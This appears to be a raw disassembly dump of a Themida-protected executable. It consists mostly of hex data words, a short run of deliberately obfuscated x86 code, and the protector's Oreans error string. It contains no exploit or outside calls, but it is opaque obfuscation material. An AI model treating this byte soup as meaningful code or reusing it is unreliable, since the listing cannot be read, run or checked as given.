0FC2C7D00h, 10B14C7Bh, 28AFE269h, 17BE5FFAh, 15B0E089h dd 0EEB9E52Bh, 497949A3h, 427219AEh, 0CB53FCA3h, 9F8D3DD3h dd 49A3EE2Eh, 0B4BCA679h, 8C2B5B04h, 1C624CE5h, 47A2CF2Eh dd 4811A679h, 4432C8C0h, 4195259Fh, 0D776A34Ch, 8A20F3EDh dd 7E13AEE1h, 447720D0h, 156CDDB1h, 0E4B73D93h, 2BC6F9FAh dd 7B25FA55h, 58D908F0h, 1C7h, 22B74E7Fh, 1BB04F7Bh, 16AB4674h dd 10A5406Fh, 69B3669h, 6598536Bh, 639037CCh, 5C8E35CAh dd 5D8D34C9h, 0FA6835CAh, 998C9B0Ch, 0FDCFE643h, 0D368F92Ch dd 497BFC2Ch, 0CA780DAEh, 0F2BB2C1Ah, 330649A3h, 0FC2C7D49h dd 8B34C269h, 0D3D4BE59h, 0A66F04A3h, 3CF15E1Eh, 4314CB55h dd 0AC5C0CA2h, 0A3844DBEh, 0E2D09849h, 49A38471h, 5E48E9BCh dd 0A289E218h, 0D0E27D47h, 0B2A37854h, 0B7832ACBh, 439C1F4Ah dd 448A9477h, 1FB68F91h, 2F4Bh, 7C25AF00h, 7811B849h, 0EBE36B8Eh dd 0E37EAC55h, 0E103F1F9h, 8C47A2F6h, 5F009FCBh, 0E67FECB8h dd 0C9AC439Ch, 0CC5C797Fh, 387E1FB5h, 0E2000000h, 0A3F279E7h dd 2D139B49h, 2EC46500h, 12A5D57Eh, 0A3F2CD3Eh, 5B451849h dd 0C8FAA353h, 3ED862Dh, 0A2F5CFBDh, 0B1471A47h, 9A41DC08h dd 0FD8F9801h, 2C7202B7h, 0AC93B42h, 44F48A82h, 0F235A694h dd 0AD8049A3h, 8837DC3h, 0D9047A3h, 10510D31h, 9E988249h dd 0D2B235CBh, 6F0036FDh, 69354E38h, 439C0BFCh, 0F6F84629h dd 1FB6A1DFh, 23FDh, 7AE76100h, 9C49A3F2h, 0E7C95414h dd 3230B29h, 991CCC62h, 0BC7461D2h, 448A74A3h, 47A21D56h dd 0C739CEA1h, 0F48A820Ah, 0F5749571h, 311FC65Ah, 49A334C0h dd 0AD97380Bh, 7AC5B7A5h, 3D10479Dh, 48DF0F96h, 49DC0CB3h dd 3ED70AB3h, 3B6F3B54h, 8E2AB02Dh, 0D3032DFBh, 0C8F89F34h dd 0D0FF862Dh, 0F11C9F35h, 0CD6C71E8h, 0A8132C16h, 0A31402B2h dd 0EED4693Ch, 48D6311Bh, 0F629AEDEh, 7E25BA5Bh, 7821B74Eh dd 6C05AC45h, 8E86982h, 5E000000h, 0B74A7C25h, 2C1CFECDh dd 3CC36AFBh, 4BD2790Ch, 50D77E19h, 5CE38A23h, 6AF19829h dd 70F79E37h, 7A01A841h, 830AB14Ch, 6711B857h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push esi mov esi, 2AC800C4h or esi, 1C3D7C6Ch dec esi not esi add esi, 6AFD05D0h push ecx mov ecx, 7B452C86h or ecx, 4F3E7D2Ah or ecx, 2CEC5F53h sub ecx, 5209BD7Bh xor esi, ecx pop ecx mov edx, esi pop esi push esp mov ebx, [esp] add esp, 4 push esi mov esi, edx push edx mov edx, esi mov [ebx+8], edx pop edx pop esi push dword ptr [esp] pop ebx add esp, 4 mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_544543 ; --------------------------------------------------------------------------- dd 0D4142C8h, 5AC2D53Eh, 3E991C9h, 0B8DED5A2h, 60A6899h dd 0E0FFC503h, 13B062F3h, 164E7E4Ch, 59E2FB2h, 7460DED1h dd 6C000905h, 5A1331Bh, 2CCB2D87h, 37DBED83h, 12BCF311h dd 21475D91h, 4C418DC1h, 1AD0CF13h, 798A0E9Ch, 12E8h, 298EF600h dd 3B62F988h, 13A3C627h, 5C8487C6h, 0E9BD10CBh, 6, 0B48D448Fh dd 0E85A99FCh, 9, 0E0EB5122h, 0CEFB25ADh, 5FFE8BACh, 673FC281h dd 66600000h, 0A1FBD181h, 10E9h, 0DCCB8800h, 441D41B2h dd 0B5526A9Bh, 0F054A652h, 686155h, 8B000000h, 810F5ED8h dd 3, 0FFF88B66h, 59F81634h, 0C18B6650h, 0F0F1815Bh, 0F00CE5Dh dd 384h, 0EDB8000h, 0A4ADC181h, 810F480Dh, 2, 0E981E78Ah dd 504195B5h, 0C89FE8Bh, 3810F32h, 66000000h, 14E9C28Bh dd 77000000h, 0E6CE558Dh, 648B8A7h, 0B8502F60h, 7D24D3FBh dd 837589EEh, 5B5303EEh, 81FD8A4Eh, 0FF9998FEh, 98850FFFh dd 0FFFFFFFh, 0B8Dh, 5820F00h, 0B8000000h, 4597F25Fh, 83E9h dd 52515300h, 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h dd 66D8033Ch, 45503B81h, 57850Fh, 5B8B0000h, 245C0378h dd 24738B1Ch, 1C247403h, 207B8B56h, 31C738Bh, 320247Ch dd 0FC202474h, 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h dd 84028A04h, 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h dd 0B70FE1D1h, 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h dd 0E9C03300h, 0FFFFFFF1h, 0EE8CA8Bh, 0DE000000h, 3FD8D82Bh dd 7F136A22h, 34B1CECh, 10E944h, 2E3B0000h, 639BAB31h dd 0DF8DB139h, 1FC23803h, 815E5E38h, 60DCC6h, 0EE900h dd 0CD0000h, 0BBE30789h, 12FB4977h, 7C46A794h, 17F768h dd 8C0F5000h, 3, 5AD18B66h, 11E959h, 26530000h, 0EEE97245h dd 22F619BDh, 341CE73Bh, 8B866272h, 0F781601Eh, 5FB77BA4h dd 61CA8B66h, 0C5D2C381h, 0B8666385h, 0F381D867h, 116DACC3h dd 0AE8h, 6CD58800h, 825A1560h, 807AF512h, 815870E8h, 0DF69CBEBh dd 0C7BF0F49h, 0B70F1E89h, 4EE83D1h, 0CE9h, 0C1FDB700h dd 0D7BEBEC7h, 3D4D77EFh, 1E983A4h, 1D850Fh, 0BE90000h dd 29000000h, 67BFBE0h, 29EEDD61h, 30E964A8h, 6C000000h dd 939A4496h, 0E95AECBDh, 12h, 55EBA4F0h, 884F14DCh, 0EB7AA82Fh dd 0B48B8753h, 6CE910A2h, 0FFFFFFFFh, 29B21461h db 64h, 0FBh, 0EFh aLRS db '▀эr:И',0 ; DATA XREF: Themida_:0053F6D4o ; Themida_:0053F7B8o db 4, 2 dup(0) dd offset loc_41C7B4 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 4 dd 0E4h dup(0) dd 56h, 45h, 0 dd 1108E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0B338BA3Eh, 0A8B530C7h, 299D3160h db 11h, 7, 6 byte_5737F7 db 8Bh ; DATA XREF: Themida_:0053E06Co dd 729E585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 5FA90CF9h, 2CE50A31h, 39F9F9E8h dd 0F042444h, 5585h, 0BD83F800h, 6070B79h, 47840F00h, 60000000h dd 10ED8D89h, 81660607h, 61107BC6h, 3963858Dh, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0D8AC74C3h, 70FCBDA3h, 0F5ABA57Bh, 810FE0FFh, 6, 0A2DB589h dd 858B0607h, 6071085h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0F7C35141h, 0BF25E91Bh, 4799501h, 39F50607h dd 0F042444h, 6B85h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 7948B13Ah, 2E7DE471h dd 8B6087C3h, 70FCD9Dh, 0D8D8906h, 6106071Ah, 700585C7h dd 1060Ah, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 96C2F9C3h, 0C50F8F42h, 8B6660F9h dd 0E99D09FBh, 61060701h, 57006A60h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 8653FC66h dd 9E0B003Fh, 0B859D09h, 5E90607h, 0F8000000h, 0 dd 1B8h, 95858700h, 0B060A71h, 0FFF675C0h, 709CDB5h, 0FD858F06h dd 6A060A6Fh, 0FFFF6A20h, 7089195h, 35BD8306h, 6071Ah dd 6A0874h, 0D6995FFh, 0BD830607h, 6070A85h, 680D7401h dd 80h, 95FFFF6Ah, 6070891h, 0F18B6660h, 57006A61h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0CA6533CCh, 4C7EAA07h, 31B531CFh, 0E9060719h, 0Ch, 0FD7E3D0Fh dd 64333D02h, 0E99F6235h, 0B8h, 11E900h, 0CEBA0000h, 0FC7B39BDh dd 0E9B2D496h, 0E642772Eh, 8BAA3D23h, 0F9282454h, 33198589h dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 825DC4C3h, 0CD7AD2ABh, 3CBEF833h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0F1E7C353h, 79E1E874h, 958960E8h, 6072359h dd 4D59D89h, 3610607h, 89242474h, 73249BDh, 0E9AD6606h dd 0Fh, 0FE36D3CDh, 1F11A9F6h, 0F18D271h, 0F957F6B4h, 24244403h dd 0DF816660h, 0CB81BEBDh, 260489D0h, 0CE99061h, 86000000h dd 9C3E22CBh, 0DA7FD12Ch, 5005FD93h, 12E95250h, 39000000h dd 0E486368Bh, 9FEE9B08h, 0A7CBA145h, 651C4647h, 0F310F1Dh dd 682h, 810F00h, 5A000000h, 850F9058h, 6, 1E758D89h, 408B0607h dd 6860F78h, 89000000h, 71A059Dh, 5BD8306h, 60A70h, 134850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0EB0F95C3h, 28CD61D6h, 890F70D6h, 6, 0CA99589h dd 8B600607h, 70DED8Dh, 5061F806h, 0F605250h, 86h, 7E900h dd 0D2390000h, 2D7F5A10h, 310F6128h, 9E9h, 2B3DAA00h, 5FB06FB1h dd 585AB73Eh, 0F240489h, 0B81h, 0C6806000h, 0E98D0175h dd 61060729h, 2C24448Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 76C35646h, 14F0AD0Dh, 758E8A73h, 159D8960h dd 60060713h, 0AF2BB66h, 4ECAC181h, 6161225Bh, 75F48060h dd 0BE605061h, 10FE43B0h, 9E8h, 55890E00h, 0A4EC67A2h dd 4CB039F7h, 4896158h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9E98515h, 44000000h, 0C2ED8F90h dd 56F36A82h, 3CEB858Dh, 6060060Ah, 8E0Fh, 89610000h, 7127985h dd 0D0FF6106h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0C3C35545h, 4403F9BEh, 6A2824h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CD6A9CC3h dd 7820Fh, 890F0000h, 1, 8E9F9h, 57B10000h, 23ABB93Ah dd 408BD870h, 0DBB6018h, 611ED07Dh, 0D880F40h, 60000000h dd 30298D89h, 81660607h, 614A0CD0h, 70018589h, 6A060Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 3C4590C3h, 0F9FC75E6h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0E2B5E292h dd 318D892Eh, 8B06072Fh, 6A7870h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 4BDFC5C3h, 1BE75084h dd 6017EAB9h, 0BB66C3B0h, 2961EA56h, 718C58Dh, 1CC68306h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 63C35646h dd 0E957B7B1h, 6, 5C9FEF4Fh, 6A96CF14h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 4B1C356h dd 0E2184FA4h, 1B50133h, 81060729h, 24247Ch, 0F100000h dd 15587h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 519501D1h, 0F060704h, 689h, 0F9958900h dd 9006071Eh, 0E9605250h, 9, 0AF8C0D6Fh, 78BF10BDh, 6340BED9h dd 0F613CF9h, 5A566031h, 0A1221DBEh, 585A6163h, 60525050h dd 310F5250h, 14E8585Ah, 0E000000h, 2673F002h, 622A70E5h dd 0E39E064Eh, 7F3979C0h, 5B9BD2B2h, 0E9310F61h, 0Fh, 0EB885BE1h dd 0F770C889h, 7C69335h, 5A18A5D6h, 6A9058h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 728ADFC3h dd 0BD893FE8h, 6071255h, 2824448Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 25C35646h, 3CF3B818h, 10E9B994h dd 4A000000h, 4ACBEE4Fh, 0F5DB5D7Fh, 570E5AC9h, 90FF44F1h dd 66605250h, 61097AB9h, 840F310Fh, 14h, 0FE9h, 49398B00h dd 98E6A9E5h, 17C968F5h, 0E8F2F51Ah, 0E950585Ah, 6, 0C30B13B6h dd 0F590A2D2h, 65D18160h, 29364262h, 732DDBDh, 858D6106h dd 60A3CEBh, 0C8E0Fh, 7E90000h, 43000000h, 0CC61C74Ah dd 0D0FFECEAh, 28A19D89h, 0E9960607h, 0Dh, 0B86936C4h dd 52F57A2Ah, 84E733E6h, 2474033Ch, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 5E297CA5h dd 607D9205h, 8059589h, 858B0607h, 6071A7Dh, 39958961h dd 0E9060713h, 7, 0DC919211h, 8DB69B70h, 72BF9BDh, 11E906h dd 0C6160000h, 5534F5ECh, 981BF2Fh, 856B32A4h, 0AD48674Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5C35343h dd 68E0Fh, 9D090000h, 60704C1h, 0C1B52960h, 0F060729h dd 28Bh, 61C78B00h, 24247C81h, 10000000h, 9D870Fh, 0B5890000h dd 60722E1h, 7E990h, 6BEB0000h, 28C0AC3Ch, 0BE95073h, 0A2000000h dd 0A3C9ECFAh, 0EDAE7EFCh, 2990D7ABh, 71EF19Dh, 24448B06h dd 50006A28h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 187B252Dh, 29CA3A3Eh, 71DB195h, 52505006h dd 5E9h, 7C235700h, 310F198Fh, 13E9h, 0BDE4B100h, 2BBEAAC7h dd 44C267F8h, 10007E16h, 98CEEF98h, 489585Ah, 6E924h, 0CAD0000h dd 0B7A0AD3Dh, 3CEB858Dh, 0BD89060Ah, 60706ADh, 3FCD0FFh dd 0F9242444h, 179BD31h, 0F8AB0607h, 0FA81h, 820F0001h dd 71Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0D9C35141h, 12698D89h, 0BD8D0607h, 6071031h, 6AADFCh dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0B5013DC3h, 6072F31h, 6800Fh, 85290000h, 6070725h, 24247C81h dd 10000000h, 116870Fh, 3600000h, 708C98Dh, 161F506h, 7117D9Dh dd 50609006h, 33BA6652h, 66310F9Fh, 585ACE8Bh, 61605061h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 36D48AD1h, 608250F9h, 9D0974CBh, 6071A0Dh dd 2824448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0C7C35747h, 0C3B13792h, 90293870h, 0C870Fh, 8A0F0000h dd 6, 820Fh, 0F500000h, 0A88h, 60525000h, 60310F61h, 90585A61h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5EC35343h dd 43B0C371h dd 0AE960B0h, 0B7000000h, 0FFD56DCBh, 53BA7BCFh, 850B5624h dd 6072031h, 9D096158h, 6070D3Dh, 3CEB858Dh, 6A060Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 894E75C3h, 732D98Dh, 60D0FF06h, 4CDB503h, 8A0F0607h dd 3, 61DA8B66h, 24244403h, 68E0Fh, 9D890000h, 6071A6Dh dd 168A0F90h, 0E9000000h, 11h, 9CCD2D42h, 0A0394045h, 0C6DA043h dd 0BCD9C67Dh, 13E95065h, 7E000000h, 4A0258h, 6A8BDD6Ch dd 8FAF0E62h, 0E71EC012h, 6A90EC89h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0DE84C351h dd 0C1E44508h, 6758D89h, 6AAB0607h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F203C353h dd 85B53360h, 0F06070Ch, 6061C3B7h, 0FC3BF0Fh, 28Dh, 61616000h dd 2289BD8Dh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0B7A607C3h, 84021AB2h, 8D298E69h dd 6071321h, 8E9ADh, 0B1F50000h, 98E9C431h, 7C815D9Eh dd 2824h, 870F1000h, 0EEh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0CCC35040h, 0A1D62B1Ch, 89874C36h, 70BFD9Dh dd 0E9609006h, 7, 4756C630h, 60013A8Fh, 0FE8h, 0C81CBB00h dd 7F013F0Dh, 110D128Ah, 0B7547Bh, 810F5Fh, 61000000h dd 6E95061h, 8D000000h, 3E7019CFh, 830F90C2h, 6, 7798589h dd 448B0607h, 800F2C24h, 8, 0C98D8B60h, 61060706h, 60525050h dd 310F5250h, 6160585Ah, 0E9310F61h, 0Bh, 91216D9Fh, 0C497EF1h dd 5A3C3199h, 24048958h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 73C35242h, 0EB858DD9h, 0F9060A3Ch, 6AD0FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 15CC3AC3h, 8BF960FCh, 440361C1h, 0B5892824h, 6070EF5h dd 50006AABh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 55858928h, 5E060721h, 70018DFFh, 0BD83060Ah dd 60A7001h, 330A7500h, 0CCB58DC0h, 0FF060A7Eh, 81AD56E6h dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 0A3CEB85h dd 3D0FF06h, 97282444h, 858ADF8Bh, 60A6FFDh, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 331985FFh, 5DE90607h, 5EFFFFFFh, 6820Fh, 85010000h dd 60712FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 77C35242h, 6C0FC0A9h, 15BD29C2h, 6006070Dh, 12E8h dd 9AD01800h, 0BEE86BD7h, 68354A59h, 0B6CCED09h, 0E9C76190h dd 13h, 0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h, 5B6D94D0h dd 8B61EDB3h, 7331985h, 0F5B58906h, 0D1060728h, 318D89E0h dd 3060733h, 7228985h, 6E906h, 0EACE0000h, 0FE4DBE6h, 6AF62Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0C802F6C3h, 4B7C7F23h, 0FD906A3h, 181h, 0E996F800h dd 0Ch, 206C9563h, 0A88CF8EAh, 0EB819151h, 0F5FCAD66h dd 6A02E0C1h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 1108C352h, 18D89E8h, 306072Ch dd 72BF985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 189EED73h, 0F259960Bh, 9E9h, 0AE518F00h dd 306CC51Eh, 899678E0h, 708858Dh, 81FCAD06h, 24247Ch dd 0F100000h, 0D887h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 141FCE6Ch, 0D531980h dd 0BA666090h, 0FE8B2BBBh, 0EE95061h, 91000000h, 9B7D2B59h dd 0EAFFCACDh, 0D4E6BDBDh, 6A9082h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0B13A9FC3h dd 0E4717948h, 8B66607Dh, 14E8C1h, 8F1F0000h, 0C8E72702h dd 0EC866EEEh, 5B1ECCB5h, 0F5EA27CFh, 8166EC42h, 59410AC2h dd 24448B61h, 0BF0F6028h, 6111B7D0h, 820F6050h, 0 dd 24048961h, 1ED1BD89h, 858D0607h, 60A3CEBh, 0D0FFFCFCh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 60C35646h dd 0F88672D0h, 8929E138h, 71E81B5h, 24440306h, 0F5B58924h dd 89060722h, 6A1C2444h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 9B3BC351h, 8D8B6093h dd 6070355h, 2979BD8Bh, 0C6610607h, 709CD85h, 85C70006h dd 60A7195h, 0 dd 700585C7h, 60Ah, 0FF90000h, 689h, 4DB53100h, 0F060719h dd 683h, 29BD3100h, 6106071Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 6AC35040h, 0B750342Ah, 7072DACh dd 518D0181h, 0E9060719h, 0Fh, 0C24DBAB5h, 0FC485EA2h dd 737809ADh, 0C2F3992Eh, 6A0008h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 3D2D32C3h, 0F60BB44h dd 8B61FBBFh, 72BF985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0CFEA01D0h, 8B3483BCh dd 1FA58D29h, 6A4A0607h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 3D51C350h, 0F57DE880h dd 4D26BF9h, 0DE9h, 0B62B3C00h, 16A50C35h, 65967F3Dh, 0C203E93Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 3FC35747h dd 24F852h, 8529F746h, 6070F95h, 0C9858996h, 0AD06071Ah dd 9E9h, 0D31BF100h, 0A9208144h, 7C8158EBh, 2424h, 870F1000h dd 0B6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0A3C35747h, 4FA05597h, 0B5899164h, 607057Dh, 9E990h dd 0EE7D0000h, 395E7589h, 50905326h, 0F820Fh, 0AE90000h dd 7D000000h, 0BCE09465h, 3324F922h, 9D8990BDh, 6072285h dd 2824448Bh, 5158D89h, 0E9500607h, 11h, 0E2A09286h, 0B7D1BEBh dd 0EE17FD05h, 0C2DCFBA3h, 240489DBh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0F2C35343h, 3CEB858Dh, 9D01060Ah dd 60711FDh, 160D0FFh, 711D59Dh, 83F38106h, 6156489Bh dd 10B58D89h, 0BAE90607h, 60FFFFFDh, 26619D89h, 8D8B0607h dd 6071ECDh, 3F858D61h, 6A060A84h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 90E8C356h dd 5E95250h, 9E000000h, 632BB765h, 0F60310Fh, 82h, 820F00h dd 61000000h, 6050585Ah, 61D68B66h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F60FB45h dd 689h, 0A19D8B00h, 8B060705h, 725F18Dh, 0FF646106h, 35h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0EC1D594Bh, 0FE43EBAh, 78Ah, 1880F00h, 0F8000000h dd 24048BFCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0B7C35545h, 3AB0E4AEh, 31EE15CCh, 12E58589h, 5E90607h dd 0CA000000h, 0B81DCD14h, 258964h, 60000000h, 8D0F24B7h dd 11h, 0CE9h, 0CCB66000h, 16A4ED51h, 0DEEDB39Eh, 0B5316137h dd 6070E65h, 8278858Dh, 9D89060Ah, 6072925h, 16089F8h dd 6919D89h, 2CE90607h, 6A000002h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 1FCCC351h dd 6800F42h, 9000000h, 714C595h, 0E8DB8B06h, 0 dd 71ED815Dh, 0BC060A82h, 12FF9Ch, 0A85BD83h, 74000607h dd 69858B18h, 0C606070Eh, 858B0000h, 6070455h, 0FF0000C6h dd 72BDD95h, 0B5FF6006h, 60A6C09h, 6C0D858Dh, 8D50060Ah dd 0A6E0585h, 95FF5006h, 60700A1h, 610CC483h, 50006AFCh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 5C1B1CDCh, 6CA522B0h, 0BD89D410h, 6070C7Dh, 6E05B58Dh dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 522FF2C3h, 85E87888h, 0BD8DDF6Dh, 60723ADh dd 0AF98D29h, 3E800607h, 52840F00h, 0F000000h, 682h, 15850100h dd 0A406070Eh, 13E9h, 71CAB700h, 95D56397h, 408D980Eh dd 0A2B796B1h, 0B711681h, 0FFFFCDE9h, 57006AFFh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0E35F8B90h, 1124CD3h, 719C5BDh, 29C02B06h, 7296D85h dd 6AAA06h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 672E19C3h, 4FC60B68h, 29BDF6AAh, 719C5BDh dd 13E906h, 0D2440000h, 2CE3EA4Dh, 460BE84Eh, 9FAB5598h dd 739390B8h, 7B85Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0FA0228C3h, 31EA0B4Ch dd 0C7BFDB2Fh, 71DC585h, 106h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0CA30B62Ch dd 62786264h, 8D8DC984h, 6074B9Bh, 30698589h, 0E1FF0607h dd 0DE9h, 725CFD00h, 0D6F8C4BAh, 0E33DB2C0h db 69h, 63h word_574BFE dw 5C8Bh ; DATA XREF: Themida_:0053CD58o ; Themida_:0053D5BCo ... dd 0E8550C24h, 0 dd 49ED815Dh, 8B060A84h, 0B883h, 9858900h, 8D060A6Ch, 0A826A85h dd 0B8838906h, 5D000000h, 89C3C033h, 71AD18Dh, 860FF906h dd 9, 0BBDA8A60h, 152B6666h, 6A6061h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F962BDC3h dd 8679858Dh, 0B589060Ah, 6072FF9h, 10E990h, 0DB2A0000h dd 1176C428h, 0CD433B4Eh, 640AD6E2h, 5050E0A2h, 52506052h dd 585A310Fh, 0AF060BB9h, 310F612Fh, 12E860h, 0BFFD0000h dd 8AEC0D4Fh, 0C500B961h, 8426E09Eh, 0D0F20DCDh, 890F5Ah dd 61000000h, 0E990585Ah, 0Bh, 89588B3Bh, 0F544374Fh, 6417197Ch dd 35FFh, 95890000h, 607222Dh, 258964h, 31000000h, 704A985h dd 7FBB6006h, 295FB5C1h, 708619Dh, 858D6106h, 60A86EEh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FC35242h dd 0C8C0Fh, 7E90000h, 7D000000h, 8B1EBCDCh, 8B60023Dh dd 119589C6h, 6106070Ch, 6A016089h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 84E8C351h dd 66279B9Fh, 0AE9h, 0BCF94A00h, 0D28985h, 0C6724824h dd 709CD85h, 6A4F06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 5900FDC3h, 0FE899934h, 356868FCh dd 0B760DA7Ah, 61F3B309h, 42243481h, 0E924B241h, 0Ch, 59949C46h dd 0E10A15D0h, 561CA90Bh, 0D99B5FFh, 6A0607h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 91AE9AC3h dd 0BE6660C0h, 0E96161E0h, 0Dh, 3CA96B66h, 0ABECBCEAh dd 0C3848C14h, 38858D15h, 0E9060A70h, 0Ah, 567D1CBEh, 0B11ADB6Ch dd 0D0FFCA28h, 0A7E9F9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 686C9DC3h, 0B75CB0D6h dd 95892C98h, 60707ADh, 0B98D8B60h, 61060720h dword_574E38 dd 0C245C8Bh, 0E855h, 815D0000h, 0A8683EDh, 9D858B06h ; DATA XREF: Themida_:0053CC68o dd 89060705h, 70D9985h, 85858B06h, 89060710h, 710F585h dd 0E5858B06h, 89060729h, 